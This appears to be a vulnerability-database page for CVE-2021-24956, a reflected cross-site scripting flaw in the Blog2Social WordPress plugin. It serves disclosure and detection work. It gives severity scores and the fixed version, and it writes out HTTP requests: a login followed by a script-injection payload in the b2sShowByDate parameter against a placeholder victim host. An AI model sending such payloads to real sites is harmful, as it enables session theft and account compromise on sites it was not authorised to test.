🔙 목록으로 돌아가기

CVE-2021-24956: Blog2Social < 6.8.7 - Cross-Site Scripting

TitleBlog2Social < 6.8.7 - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationFixed in version 6.8.7
CVSS Score6.1
EPSS Score0.01515
CVE IDCVE-2021-24956
CWE IDCWE-79
Tags cve cve2021 wordpress wp-plugin xss authenticated wpscan adenion vuln

🔍 Vulnerability Description

The Blog2Social: Social Media Auto Post & Scheduler WordPress plugin before 6.8.7 does not sanitise and escape the b2sShowByDate parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=2MH6jz&pwd=5AtI2y&wp-submit=Log+In
GET /wp-admin/admin.php?page=blog2social&b2sShowByDate="><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24956.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24956.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A